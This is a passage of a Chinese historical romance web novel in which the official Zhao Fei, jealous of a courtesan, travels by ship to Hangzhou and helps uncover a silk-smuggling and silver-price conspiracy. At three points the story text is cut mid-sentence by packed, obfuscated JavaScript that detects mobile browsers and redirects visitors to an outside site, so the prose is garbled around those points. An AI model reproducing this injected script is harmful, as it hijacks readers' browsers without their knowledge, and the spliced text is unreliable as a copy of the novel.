赵斐坐在酸枝圈椅上，绯色云缎直裰板板正正，像块刚切开的红方糕。 茶盏搁在案头，一口未动，早凉透了。 嬷嬷领着人进来，他眼皮都没抬，只盯着案上银票看。 关倩兮倚在门框上，紫蓝的罗裙裹得身段似雨后新笋，翡翠钗斜插在云鬓里，一晃一晃，映得绿眸子更亮三分。 她捏着羽扇，轻摇两下，扇柄上的穗子扫过心口，翡翠坠子叮铃一响。 “赵大人，”声音像浸了蜜的藕粉，甜得发腻：“你前日才骂奴家妖妇，今日……何故邀奴家私下来见？” 赵斐站起身，袖摆拂过银票，沉香与崖柏的气味漫过去。 稍稍冲淡女子的脂粉气。 “听方仲安说，昆玉要替你赎身？” 他柔声问。 关倩兮瞥一眼银票，嗤地笑出声：“赵大人有心，明郎不缺这点银子。” 那“明郎”二字刚出口，赵斐的指节便无声抵住案角。 茶汤蓦然一晃，漾出半圈涟漪，倒映着他眼底的暗潮。 他嘴角仍噙着笑，连眉梢都没动分毫，只将袖口缓缓抚平。 “与昆玉无关。” 赵斐起身逼近一步，指尖掠过她耳垂的翡翠，声音轻得像呵气，“是我想赎你。” 羽扇停了一霎。 窗外风倏然静下，闷雷从云缝里滚过来，震得案上茶盏嗡嗡颤。 “哦?” 关倩兮羽扇一收，扇骨抵着下巴颏儿，绿眸眯成两道月牙。 “你赎我？” 尾音拖得悠长，似撒娇，也似挑衅。 赵斐的指尖顺着她手腕滑到掌心，力道轻得像给古琴调弦：“昨日初见，你绿眸潋滟，我一见倾心——”话尾突然被雷声吞了半截，他顿了顿，汗珠子滑进衣领里。 “拔剑相向，皆因妒火难抑。” “你骂我妖妇呢。” 关倩兮用羽扇捂住嘴，笑声从绢纱里漏出来，嗡嗡的像飞蛾撞琉璃盏。 赵斐嘴角翘得更高些，眼底却结着霜：“就爱你这妖劲儿。”他拇指蹭过她腕内侧，轻轻摩挲，“我恨我被你美色迷惑。” “我有明郎了。” “我比昆玉好。”他掐紧她腕子，似是生出醋意。 哥窑茶盏被袖风带倒，凉茶漫过银票上“贰仟两”的朱砂印。 “明世礼踪迹难寻，明家撑不了多久——” 话没说完，关倩兮忽地搂住他脖颈，蔻丹掐进他后颈皮肉里：“吻我。” 赵斐浑身一僵。 她眉梢画的螺子黛太浓，衬得绿眼睛像两汪掺了毒的泉。 妖妇！ 难怪昆玉栽进去。 他恍惚想着，鼻尖却嗅到她发间脂粉气，酸意猛地窜上喉头。 闷雷又碾过房梁，紫藤花瓣从窗缝钻进来，粘在她翡翠钗上打转。 “你不是一见倾心么？”她贴过来，吐息喷得他耳垂发烫，“吻我。” 赵斐垂下眼，却瞥见她领口半敞，连忙转过眼看窗外去。 妖冶！放荡！ 不怪昆玉，不能怪昆玉…… 这妖妇着实难缠！ 他退后半步：“不急。” 袖口拂过案头花瓶，碰跌几瓣晚香玉。 “待我安置妥帖……不要伤了昆玉的颜面……” 窗外闪过电光，画眉疯了似的叫。 关倩兮的胳膊又缠上来，翡翠镯子贴着赵斐后颈，凉得他脊梁骨发麻。 “你说的嘛，明家撑不了多久——”她卷起他一丝发尾绕圈，像抽丝剥茧，“何必管他颜面？” 赵斐盯着她绿眸，心里怒意翻涌。 这妖妇，根本没有半点真心！ 不过三言两语，便把昆玉撇开，妄想另攀高枝…… 也就昆玉那么蠢，着了她的魔！ 他深吸口气，面上却浮起春风：“乖，不急于一时。” 羽扇“啪”地合拢，扇骨硌在他锁骨上。 关倩兮踮脚，凑近他耳畔。 脂粉香混着药苦气直往他毛孔里钻。 “我要你吻我，像昨夜你偷吻明郎那样——”她舌尖抵着齿缝，吐出气音，“用、力、吻、我。” 赵斐瞳孔猛地收缩。 案头银票被穿堂风掀起一角，紫藤花影在青砖上乱晃。 他袖里手指掐进掌心，面上仍端着笑：“关娘子说笑了。” “说笑？” 关倩兮忽地松开手，羽扇“啪”地甩开。 “我全看见了——”她退后半步，绿眸子亮得瘆人，“你鬼鬼祟祟，趴在我明郎榻边偷吻他。” 她指尖点在自己唇珠，“这儿，还蹭破块皮呢。” 惊雷劈开云层，白光掠过赵斐苍白的脸。 这妖妇！ 她看到了…… 她看到了！ “你，根本就有龙阳之癖！” 关倩兮扇尖直戳他心口，“什么赎身，什么一见倾心，不过想离间我们！” 赵斐脸色青白交叠，恍如戏台上变脸的伶人。 窗外暴雨终于砸下来。 噼里啪啦，淹没了那妖妇翡翠镯的脆响。 只听得她冷笑道：“你说，若明郎晓得你这龌龊心思……” 赵斐一愣。 还以为此计妙绝，偏漏算了这一着——原来情字最锋利的刃，是悬在自己心头的。 “你想怎样？” 他嗓子哑得像砂。 关倩兮妖者扇往门外去，紫藤蓝裙裾扫过满地碎花。 “不要妨碍我和明郎，否则——” 踱到了门边，她回眸冷笑。 那绿眸子像饿狼的眼睛，恶狠狠盯着赵斐。 “我有的是手段离间你们！” 雨幕吞没了她的身影。 赵斐墨眸沉沉，盯着那抹紫蓝色淹入雨中。 不发一言。 那妖妇点醒了他。 他只心心念念想独占昆玉，却偏偏从未想过这一层——假如“他”知道自己对他有非分之想，恐怕…… 恐怕，他们连朋友都做不成。 不怕。 他有的是耐心，慢慢、慢慢离间他们。 他与昆玉同窗六载，他熟悉“他”，他俩还生死与共过。 他有的是办法，一点、一点攻陷“他”…… 此事，料想不会比考科举更难。 但，奖品比科举更丰厚—— 他迷恋“他”唇瓣的齁甜，上瘾了一样。 想再尝，一次，不，两次…… 不，他要每日每夜，像梦里那般，把“他”锁在不见天日的深处，只有他能尝。 只是…… 断袖分桃，龙阳之好，为世人所不齿。 他，真的要引诱“他”共沉沦吗？ …… 辰时，官船挨着码头轻轻晃，船头摞了层层箱笼，影子投在水面上，碎成片片金鳞。 方靖蹲在粮袋堆里，直裰下摆沾满米灰。 他指尖戳着发霉的米粒：“这米喂猪都嫌牙碜！” 船工缩着脖子嘟囔：“官爷，通融下，杭州米价早涨到天上喽……” 话尾叫鸥鸟叼了去。 那鸟在桅杆上打个旋，翅尖扫落几片浮毛。 另一侧船舷，关倩兮斜倚螺钿箱笼，冰台色罗裙映得绿眸子更艳三分。 羽扇尖戳了戳杂役后背：“仔细我的妆奁！” 翡翠镯子碰在箱角，“当啷”一声脆响。 惊得赵斐从账册里抬头。 他乌蓝直裰被晨雾洇深，染成墨蓝。 看着堆满甲板的箱笼，冷哼一声。 “这船，怕是未到杭州便沉了。” “女儿家，体己自然要多些。” 关倩兮扇尖挑起一缕鬓发，黛眉描得斜入雾里，“赵大人不是女儿家，不会懂的了。” 那“女儿家”三字，拖得又尖又长，还睨了赵斐一眼。 明晃晃的挑衅。 “以色事人者，当然需要许多行头。” 赵斐这话像块热炭砸进油锅。 关倩兮翡翠镯子撞在螺钿箱角上，迸出星点火光。 “我以色事人，也是因为时运不济！” 她绿眸子淬了毒，冰台色裙裾扫过甲板霉米，活似只炸毛的波斯猫：“换作你是我，你不一定活得下来！” 杂役们缩着脖子往粮袋后头躲，鸥鸟“哗哗”惊飞。 “我要是你，根本不会沦落到以色事人的地步！” 赵斐半分不让她。 “你倒是想，也没那个本事！” ——“咳，咳！” 明桂枝裹着披风过来，咳得杏眼汪着出水光。 “别吵，别吵了……”她指着两箱冬衣：“倩娘，那些厚的衣物，留在徐州罢？杭州四月天，都热得能孵鸡崽了。” 关倩兮斜眼一瞥，瞄到赵斐看见明桂枝来了，眼神霎时柔下来。 她眉梢一挑。 “明郎，奴家依你的……” 说罢，身子一歪，故意歪进明桂枝怀里：“但到了杭州——”尾音拖得老长，像抽不完的蚕丝，“你要买新的给奴家。” 明桂枝被她撞得后退半步，鸦青披风滑落半边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵斐一下起身。 笔架被他袖风带倒，狼毫滚到舱板缝里。 他盯着那道黑黢黢的缝，觉得那似足一道无尽深渊…… “还不如龙阳之癖呢！” 他脱口而出，惊得舱顶老鼠“吱溜”窜过梁。 窗外鸥鸟掠过桅杆。 翅膀拍打声混着纤夫号子，像在应和。 赵斐揪住自己衣襟，云缎料子攥出团咸菜褶。 没错…… 没错！ 假如昆玉是断袖，不被世人接纳罢了，那又如何？ “他”依旧是那个胸怀磊落、才高行洁的状元郎。 大不了他俩一道辞官，游历四海。 怎也好过被那妖妇拖进泥淖，万劫不复！ ——这念头比偷吻更骇人。 骇得他抓起冷茶灌了满口，茶叶沫子粘在喉头，茶汤满是回甘滋味。 阳光徐徐挪到案边，照见盏里竖浮的茶梗——他想起前些日在景州的时候，昆玉说过，这茶梗竖起来便是吉兆。 赵斐盯着那根直挺挺的茶梗，蓦地笑出声。 是了，若能把昆玉拽出泥潭，管他世人唾骂还是祠堂除名？ 横竖明家和赵家都那么多旁支，不缺他们二人继承香火。 “允书！”方靖抱着账册撞进来，“用了膳再启程？” “直接启程吧，省得那妖妇挑三拣四，说要去哪家酒楼……” 赵斐想通心结，便又沉浸在太府寺的账册里。 方靖莞尔，“你对她成见太深。” “是，是我有成见，” 赵斐搁下笔，“她方才还教昆玉瞒报贡品呢。” “我相信昆玉人品，他会教好关娘子的。” “你就是太相信他，才让他遇上这妖妇。” “那是他们千里有缘。” “别，可别这么说！” “对，先别谈这些，来，看这个……”方靖抖开札记：“粮行的掌柜说，杭州那边的粮、米和香料都涨价了……” “是银价跌了。” 赵斐一下点中关键所在。 “那……” 舱房陡然静了。 天光透过舷窗，将账册上的茶渍照成个狰狞鬼脸。 许多事情闪过赵斐脑海，仿佛一颗颗珠子扭动、串联起来—— 昆玉赴任市舶司。 而他正好被太府寺派去杭州，稽查账目。 德州粮商屯粮。 苏州的织造局案。 杭州将要暴跌的粮价。 串珠般缀成条毒链子。 “不对！” 赵斐猛地起身，圈椅在舱板刮出尖啸。 “这是个局！” 方靖茫然：“你是指德州的事？” “不，不是德州，是杭州……” 赵斐看向方靖，目光蓦地暗浓，“杭州是个局，就等着昆玉往里面跳！” …… 37.暗涌 窗棂叫江风推得直晃，赵斐索性拴了铜钩。 舱里霎时暗下来。 熏炉煨透，檀香混着崖柏的苦辛气骤然漫溢。 香雾沉甸甸，压得人眉尖发紧。 ——“允书，仲安说你唤我……” 赵斐原本伏案疾书，听得“他”叫唤，笔尖悬在半空，墨点子"啪嗒"砸在宣纸上，印出个铜钱大的疤。 一抬眼，只见来人倚着门框笑。 鸦青披风让风撩起半边，露出里头黛色圆领袍。 像雨前天上堆的云，一重压着一重。 “他”抬手扇了扇鼻前，“好浓，你平日不曾薰这么浓的香呢？” 他的心，顷刻跳漏了半拍。 ——要不是每夜梦见你，我何需…… 明桂枝凑近熏笼深吸一口，杏眼弯成月牙：“莫不是怕我风寒鼻塞，闻不着香？” “这几天连绵下雨，水腥气重，”他垂眼，盯着香灰堆出的小丘，“祛祛霉。” 却心道：檀木若放少两钱，都只怕盖不住那麝香味。 这般想着，耳垂子热得似火烧。 那些光怪陆离的梦，一夜比一夜放纵。 仿佛有心魔操控，在为他编写脚本。 “祛霉为什么不用艾草？” 明桂枝广袖一展，顺势倚坐在酸枝圈椅上。 “檀香、崖柏，还有沉香木，全是厚重的气味……难道——”说着，倾身向前，盯着他笑，“你想要盖住什么味道？” 尾音拖得绵长。 惊得炉烟都颤了颤。 赵斐觉得两颊热辣，简直烫得要冒火。 崖柏香浓得呛人，混着他后颈沁出的薄汗，酿出股说不清、道不明的味儿。 明桂枝支着案角凑近，杏眼里映着两点跳动的炉火：“赵允书——”鼻尖翕动两下，“你一定是……” 话音未落，江风撞得舱门“哐当”一响。 赵斐手一抖，狼毫笔“骨碌碌”滚到明桂枝袍边，墨汁洒在黛色袍角，像添了个闲章。 他慌忙去捡，广袖扫过“他”膝头，倒似被烫着般缩回来。 “你心虚？”明桂枝捻着袍角灰渍，笑作一团，“被我猜中了，对不对！” 她指尖虚点他腰间，“你一定是放屁了！” 窗缝漏进的天光，恰映在她唇畔梨涡里。 赵斐怔怔望着满地狼藉，轻轻喘了喘气，愣是挤出句：“我，我……” 话卡在檀香凝的雾里，仿佛他被香灰呛住了。 “哎呀呀！”方靖抱着账册撞进来，“你们净顾着玩闹，也不来帮帮我……” 赵斐猛然回神，连忙过去接住方靖的账册。 “仲安兄，方才允书他……” “我没有！” “你有，你心虚了。” “我没有心虚……” …… 舱外雷声闷闷，一下下碾过船板。 赵斐将方靖的札记逐本拆开，一页页摊在案上。 纸角叫江风掀起又按下，活似扑腾的鱼苗子。 “泉州米价去岁十月涨半成，十一月涨一成半——” 他指尖顺着日期游走，乌蓝袖口扫过“十二月”、“一月”的字样。 “连潮水涨落都没这般准头。” 他不禁冷笑。 明桂枝凑过来看。 鸦青披风带起一阵松香。 她忽地“咦”了一声，指尖点着茶价那栏：“茶也是！十一月涨二成，十二月三成……” 杏眼一挑，表情像只偷腥的猫，“全是等比例的！” 方靖皱眉：“等比例是什么？” 赵斐为他解释：“每两个数之间，差距有固定的特征，比如这里，每个月的涨幅都是一成。” “你知道‘等比例’的概念？” 明桂枝讶异，却瞬即想通：“哦，对，《九章算术》里有！” “欧几里得的书里也有。” 赵斐朝她眨了眨眼。 明桂枝瞪大眼珠：“你知道欧几里得？” 赵斐心里欣然，又怅然。 ——“他”记得欧几里得，却偏偏忘记他们在废亭的时光。 他咧了咧嘴角：“你借了我一本《几何原本》。” 明桂枝怔怔望着他。 舱外划过道闪电。 大约是她的错觉，她看到他眸里浮起层雾。 “我借给你《几何原本》？” “嗯，书脊都叫翻烂了，” 赵斐低头，摩挲着札记卷角，“还是我帮你补的，拿鱼鳔胶粘了好几回。” “这样……谢谢你。” 闪电映得梨涡忽深忽浅。 赵斐的心怦然一跳。 他做了很龌蹉的事——篡改“他”的记忆。 可是，这不算罪过吧？ 他没有伤害任何人。 而且，大部分是真的：他们都读过那本书，书脊也是他帮“他”补的。 他只改了很小的一部分。 很小很小。 崖柏烧尽，碎屑在炉膛里爆出几点星子。 方靖打断他们：“这涨幅是等比例的，又有什么问题？” “交易是不理性的，” 明桂枝耐心解释：“如果是真实的涨幅，怎么可能这么平稳，每个月都只涨一成？” 赵斐投去赞赏的目光：“正是！” “为什么不可以？” 方靖不知道什么是“不理性”，后面的话也不太懂。 “假如有某样东西……” 明桂枝左右看了看，随手拾起案头的玛瑙纸镇。 “就这玛瑙石好了，它前月卖五两银，上月卖十两银，眼看下个月它就卖二十两，那这月它还卖十五两吗？” “难道不是？”方靖还是不解。 “大家都知道它下月能卖二十两，你出十五两，就有人用十六两和你抢，价格会很快被抬高……” “对，对！我明白了！” 方靖一下醒悟：“就像德州的粮价那样！” “所以——” 明桂枝抬眼时，赵斐正定定看向她。 舱外闪电亮了一刹，将他眼底那簇光亮衬得格外分明。 “有人在幕后压着物价？” 她几乎是肯定的语气。 赵斐笑着点了点头。 他喜欢看“他”这般模样——杏眼睁得溜圆，黛色袍袖随着思绪翻飞，像只悠悠轻舞的翠鸟。 真好，这感觉真好。 不需要多费一言半语，随时接住对方任何话题。 他们，是真正的心有灵犀。 “正是。” 他声音发紧，伸手拉开酸枝木桌抽屉。 一叠信札“唰”地摊开。 最上头那封火漆印裂成两半，露出工整的馆阁体。 蜡封上赫然盖的太府寺印鉴。 “你再看这个。” 赵斐递了那封给她。 明桂枝抖开信纸细阅， 纸张的簌簌声里，混着她倒抽冷气声。 “关若颐……倩娘的父亲？” 她讶然：“他贪了五千匹云锦？” “嗯。” “怎么是云锦？为何不直接贪银两？他贪那么多绸缎，还要找买家，何必大费周章……” 却转瞬，她便想通：“他卖到海外！那里的银价更低，他能卖更高价！对不对？” 赵斐目光像沾了蜜的蛛丝，黏在明桂枝眉梢眼角上。 他知道昆玉一定能想通。 但未料到他还没递出第二封信，“他”竟已猜透全貌。 “你再看这封。” 他将另一封密函推过去。 指尖有些发颤。 明桂枝接过，那是太府寺调查走私的密函。 明桂枝抓过信纸一目十行：“关若颐的手下将五千匹云锦卖到倭国走私商人……每匹一百一十两……” 她倏然搁下密函，扑到方靖的札记堆里，哗哗翻到苏州府那页，“苏州府，云锦，六十两每匹——差出近一倍！” “关若颐贪墨的不是云锦！”明桂枝攥紧信纸，指甲在"倭国"二字上掐出月牙印。 “他是在拿云锦当银船使，跨境倒差价！他赚的是差价钱！” 又一道闪电劈过。 赵斐看着她被映亮的侧脸，胸口涌起热流——这秘密，除了幕后人，全宁朝大概只有他一个知道。 大理寺只确凿关若颐亏空、走私，不知道海外的银价。 太府寺知道关若颐将云锦卖给倭国，但不清楚沿海的物价。 众人各执一块拼图，胡乱猜测。 满朝文武都以为——关若颐为人扛了账。 只有他，透过方靖的札记，找到拼图里最重要的一块！ ——沿海州府与倭国的银差。 这天大秘密，在他腹中沤了半天。 此刻，终于有人能接住。 “什么跨境？啥差价？” 方靖愣了又愣，满脸惑然。 “喂！你们打什么哑谜？” 赵斐没接话。 他盯着明桂枝鼻尖看，那里沁出细密汗珠。 在书院的时候，“他”也是这样——解出最难的那道算学时，也是这样鼻尖沁汗，也是这样眸光亮得灼人。 瞧！ 他多了解“他”。 他们才是天造地设的一对！ 明桂枝捏着信角在案上比划：“苏州云锦六十两，倭国卖一百一十两——” 指尖在两地间划了道线，“这每匹五十两的缝儿，够他塞进二十五万两雪花银……若不是银价暴跌快要压不住，这事情不会被揭发……他能全身而退的。” 方靖凑近看：“全身而退？五千匹实打实的云锦没了，就算按苏州六十两一匹算，那也是三十万两的窟窿，怎填？”粗指头戳得信纸哗哗响。 “简单得很。” 明桂枝拿起镇纸往倭国两字处一搁，“拿到这五十五万两，回头买五千匹云锦，账便平了。” “五千匹，不是小数目，就一定买得齐？” “纵使买不齐——”明桂枝忽地笑了。 赵斐搁在案沿的手紧了紧。 “他”唇角翘起的弧度，他无比熟悉。 从前，“他”解出难题时都会这样笑。 不同的是，那时“他”不曾看向他。 “我有失魂症，记不得太真切，但，丝绸布匹的税额能折银……” 明桂枝想起弟弟松枝和她讨论的明朝税制，猜想与这个时空的宁朝应该大差不差。 她问赵斐：“是吗？” 赵斐笑着点头。 明桂枝得到确定答案，便放心解释：“五千匹折三万两上缴，余下的......”她指尖在虚空中一抓一放，“便是白得的二十二万两。” 方靖猛地拍腿，震得砚台里墨汁荡起涟漪：“着啊！着了！布帛折银的旧例！”烟墨直裰沾了墨点子也不顾，“我叫实打实的五千匹唬住，钻牛角尖了！” 赵斐垂眼拨弄香炉里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223177|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崖柏。 炉灰溅落在乌蓝袍襟，他有点儿不敢看“他”。 他今晚……大概又会做很放纵的梦。 “允书，你觉得呢？”明桂枝偏偏扭头问他。 杏眼映着香炉的火星。 赵斐心跳得极快。 “你……”话在舌尖打了个转，“若你在市舶司待得不顺心，我举荐你来太府寺。” “你不如举荐我去做苏州织造？” 明桂枝与他开玩笑：“这笔账，我能比他洗得更高明。” “洗？” 明桂枝广袖一展，甩出一丝风，“若是我来办——” 她在草稿上画写，“先与泉州或者杭州的布商立期票契约，五千匹云锦，言明三月后交割。” 黛色袍角扫过“三十万两”的墨迹。 “再用倭国赚的银子填这窟窿。” 赵斐眉角一蹙，盯着那墨印，呼吸都急促起来。 “若三月后布价涨了……” “那便让布商按契赔钱。” 明桂枝屈指一弹茶盏，叮铃脆响，惊得炉灰一颤。 “若是跌了——”她伸手扯住赵斐袖口，拉他靠近，压低声，“便说倭国海寇劫了货船，给朝廷报个折损。” 方靖木木地皱眉：“这不成了空手套白狼？” 他朝赵斐看了一眼，“万一太府寺查起来……” “查什么？” 明桂枝笑眼弯成月牙，“账上写着实打实的期票，库里有倭国运回的白银。”她快速写下“折损“”二字，“风高浪急，有折损不是很正常么？” 说着，朝赵斐一眨眼，“是吧，太府寺少卿？” 赵斐倏地睁大眼睛。 雷电闪光映得他乌蓝袍襟泛紫。 他骤然想起…… 此趟往杭州前，他的上峰，太府寺卿黎琴书曾给他看过一份卷宗。 那是十年前查的盐引案——号称太府寺历时最久、牵涉最广、贪墨手法最精妙的一案。 但那套虚虚实实的把戏，尚不及昆玉这随手书画的计策半分精妙。 “若再狠些——” 明桂枝倾身他眼前，杏眼里跳着两点邪火，“拿这期票作押，向钱庄再借三十万两……” 黛色袍角扫落杯盏。 茶水流到案沿，“嘀嗒”落在赵斐靴面。 “然后，我像徐霁民那样，弄虚作假——说吕宋或者什么地方也有产丝绸，以后绸缎统统不值钱……制造恐慌，买空、卖空，利滚利翻，哈哈哈哈哈！” 舱外滚过闷雷，轰隆轰隆，和应明桂枝的笑声，有种阴森的诡异感。 赵斐不发一言盯着“他”看。 他想说些什么，但喉头像叫崖柏的香灰堵了。 没有破绽。 这个局精妙得找不出任何破绽。 他从前忿忿不平，总觉得“他”不过胜自己一筹。 却原来……何止“一筹”？ 这事“他”若真做了，太府寺纵然有十个赵斐都查不出来！ 明桂枝还在说，樱唇开合间，蹦出的“对冲”、“杠杆”的词汇，像巫咒。 赵斐盯着“他”指尖，看“他”在虚空中划弧线。 恍惚间，那纤白手指比刑部的烙铁还烫人。 看得他脊梁骨渗出冷汗，贴着中衣，凉津津一片。 外头下起雨。 雨点子密密砸在舷上，“哔哔啵啵”，活像撒豆子。 “够了！” 赵斐猛地拂袖，案上札记“哗啦”扫落在地。 满地狼藉间，他仿佛看见一份份卷宗，刑部的、太府寺的、大理寺的…… 份份都有明桂枝的名字。 若“他”真走上邪路，定是宁朝有史以来头一号巨蠹。 舱外炸响道紫电。 青白的光劈进窗缝，照在赵斐绷紧的下颌线。 “你！你不准再近那妖妇！” 他突然低吼。 乌蓝袍角扫翻熏笼，香灰扑簌扬了半舱。 方靖吓得愣住。 明桂枝开口想打趣他，看他神色凛然，也不禁一怔。 赵斐踩着满地账本、密函往外闯。 靴底碾过“关若颐”三个字，墨迹糊成团黑影。 雨腥气混着崖柏香，往他喉咙里钻。 妖妇！ 都怪那妖妇！ 昆玉不是这样的。 是她！ 是那妖妇！ 是她带坏了“他”！ “他”从前不近女色，在德州的时候，那歌姬搂着“他”亲，“他”也不为所动。 才识得她头一天，“他”便与她“那个”……还要了十回水！ 恶心！ 下流！ 无耻至极！ “他”在德州的时候，用尽聪明才智去设局，全是为了百姓。 还把自己的家底都拿出来，去引诱徐霁民中计。 与她一起才不过数日，便要学关若颐、学徐霁民…… 走私、亏空！ 弄虚作假、制造恐慌！ 买空、卖空，利滚利翻！ 江风裹着雨星子往领口钻，赵斐攥着湿漉漉的栏杆，指节硌得生疼。 “赶走她……赶走她！”他喃喃着往雨幕里扎，乌蓝缎面叫雨打湿成墨色，靴子踩在湿漉漉的缆绳上，险些跌进江里。 “赶她下船......现在就赶...... 现在就赶！” …… 38.幕后 暴雨还在继续。 湿气钻进舱缝，天边闷雷还滚着响。 赵斐立在案前，乌蓝云缎直裰叫雨浇透，紧贴出肩胛棱角，像青峰压着墨云。 袍角水珠砸在地上。 “嗒”、“嗒”、“嗒”…… 比舱外雨声更沉。 方靖捧着账册直哆嗦：“瞧瞧！墨都洇成鬼画符了！” 明桂枝倚着舱门拧发梢，鸦青披风淌下一线水，黛色袍襟透出伶仃锁骨。 她杏眼斜乜赵斐。 ——“赵大人这通脾气发得值当？回头我若又烧起来，劳你端药递水，你可千万别嫌麻烦。” 赵斐脊背绷得笔直，喉间挤出一声冷笑：“自有那妖妇伺候你。” 这话虽像淬了冰碴，偏他手里攥着要递给“他”的帕子。 指节还握得泛青。 片刻，他忍不住用余光偷瞄明桂枝——“他”裹在他的狐裘里，缩在炭盆旁，一簇火苗映在鼻尖，脸色衬得更煞白。 他心脏狠狠一抽。 ——方才在甲板，“他”攥紧他手臂，不让他冲动。 那时，“他”掌心烫得吓人。 “他”的风热大概还没有完全退却。 风寒也并未痊愈。 意气用事！ 他在心里暗骂自己。 分明该是步步为营的局，他赵允书何时这般沉不住气？ 便是真要赶那妖妇，也该是布下天罗地网，教她钻不得空子。 哪能像个市井莽夫似的，吼什么“赶她下船”？ 炭盆爆出火星子，明桂枝被烫到，轻轻“呀”了声。 赵斐指尖掐进掌心。 到底没回头。 炭火跳了几跳，像跳着舞笑他。 当日临行前，黎琴书曾对他道：“明赵两家几代恩怨，此番你与明使郎同去杭州，切记公私分明。” 当时他答得何其磊落？ 如今想来，愧对上峰叮咛。 他叹了口气，正想说些什么缓和僵局。 ——“倩娘她是个苦命人，你何必……” 明桂枝也叹气凑近。 “你还维护她！” 赵斐倏地转身，眼底寒光凛凛：“苦命？苦命人教你买空卖空、虚造折损？” 他袍袖一甩，案上茶盏叮当乱颤，“这般天衣无缝的计策，怕是李林甫、贾似道也要拜你为师！” “你也说天衣无缝，那与倩娘何干？她要能想出这计谋，她爹还至于深陷囹圄？” “她自然想不出，想出来的是你，但她会引诱你，今天劝你瞒报贡品，明天就指使你贪污受贿，以你状元郎的聪明才智，有朝一日，大理寺和太府寺联手都不一定治得了你！” “赵大人留在太府寺实在屈才，”明桂枝好气又好笑：“你这般懂罗织罪名，该去御史台！” 方靖看他俩吵架，缩在炭盆边烘账簿，嘴里絮絮叨叨：“炭火烘账本，再来点煟香芋就好了……” 明桂枝被方靖逗得轻笑，心情好了一些，便哄赵斐道：“我若真想作恶，何必把戏法变给你瞧？” “因为，你知我会拦你……”话音渐弱，他别过脸：“罢了，你非要走那歪门邪道，我也拦你不住！” “这样好不好？以后我什么好点子、坏点子，我都先与你说，底细都先透露给你了，好不好？” “自然是好。”赵斐心头一暖，偏面上还端着霜雪色。 “那你就不怕我把你教坏？” “我心志坚定。” “那我就意志薄弱？” 明桂枝拢了拢狐裘，银灰绒毛衬得手腕透青。 指尖冻得微颤。 赵斐眼角瞥见，眉心微不可察地跳了跳。 声线却硬得像块生铁：“算了，说正事……” 窗外一声炸雷劈下来，雨点子砸得舱顶噼啪响。 赵斐望着江面碎银似的浪，不禁自嘲一笑。 这人轻飘飘一句“底细都给你”，他竟就连人带魂都栽进泥潭里。 罢了。 他认栽。 …… 雨没有半点要停歇的迹象。 案头烛火晃悠。 赵斐抖开密卷，乌蓝袖口扫过泛黄纸面。 明桂枝支着下颌斜倚案角，脸颊裹在狐裘里——这模样哪像市舶司使，分明是哪家贵公子在听书。 “三万匹一等品杭绸、一万五千担极品毛尖、十万匹松江布……前杭州市舶司使，你的上一任——许全怡，他贪了这些。合该抵六十万两银，抄家却只得九万。” 赵斐指着卷尾暗朱色，那是大理寺的印鉴，像一团干透的血痂。 “抄家，斩立决，九族流放。”他的话像块冷铁砸地，舱底江水都仿佛跟着晃了晃。 明桂枝蹙眉：“朝廷既查明了，总不会要我这后来人填窟窿？” 杏眸清亮，把烛光衬得暗了三分。 赵斐凤目微敛：“不会。但，亏空记的是物非银。” 话音在“物”字上咬得重，像含了枚银针。 明桂枝眉头倏地绞紧，指尖不停点着密卷朱印。 舱外炸响闷雷，雨砸在篷顶噼啪响。 “那个在幕后压银价的人……” 明桂枝猛地站起，她看向赵斐：“假蝗灾也是他——” 话未说完，赵斐唇角已翘起。 到底是“他”，一点就透。 方靖捧着烘半干的账册插嘴：“为什么……？” 明桂枝一边理着思绪，一边解释：“这个幕后人暗中稳住银价，让其缓慢地下跌……” 她蘸着茶水在案上画线。 “他原本的计划应该是——再过一两个月，让假蝗灾蔓延，制造恐慌，令粮价急升……” 方靖更加困惑：“这个我们在德州之时，不是商讨过么？他们是为了屯粮获利……” “不，不是！”烛火忽闪，映得她眸子发亮：“他是为了逼银税法落地！” 赵斐目光深沉如海，轻轻颔首。 明桂枝继续解释，语气愈发笃定：“粮价急升和沿海银价暴跌之间——会有时间差。幕后人会趁粮价急升之际，以制止粮商屯粮为由，说服朝廷推行银税法，让银价与粮价、物价挂钩。” “然后？” “然后，他会在推行银税法之际，恰好引爆沿海银价暴跌！” “他为什么要这么做？”方靖眉头皱得能夹死苍蝇。 “为了平账。” “我还是不懂。” 明桂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229155|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝把茶壶往案上一墩：“比如……杭州市舶司原本亏空三万匹丝绸，市值三十万两，银价暴跌后为六十万两，此时推行银税法，账面的亏空便会由丝绸改为银两，直接变为亏空六十万两——” 她蘸着茶水在案上写算，“这人手里必定早已掌握大量实物现货：绸缎、茶叶、大米等，他趁白银暴跌的时候，换取白银。” 茶盏“当啷”扣在案上，震得烛台乱颤，“待到来年银价回升，他亏空的账目，就在不知不觉间填平了。” “天才！”方靖终于听懂，拍案叫绝：“他怎想出这法子的！” 船外恰炸响惊雷，像在给这黑心算计鼓掌。 赵斐凝望明桂枝，眸底翻涌：“他此计牵连甚广，其实……远远不及你的法子精妙。” 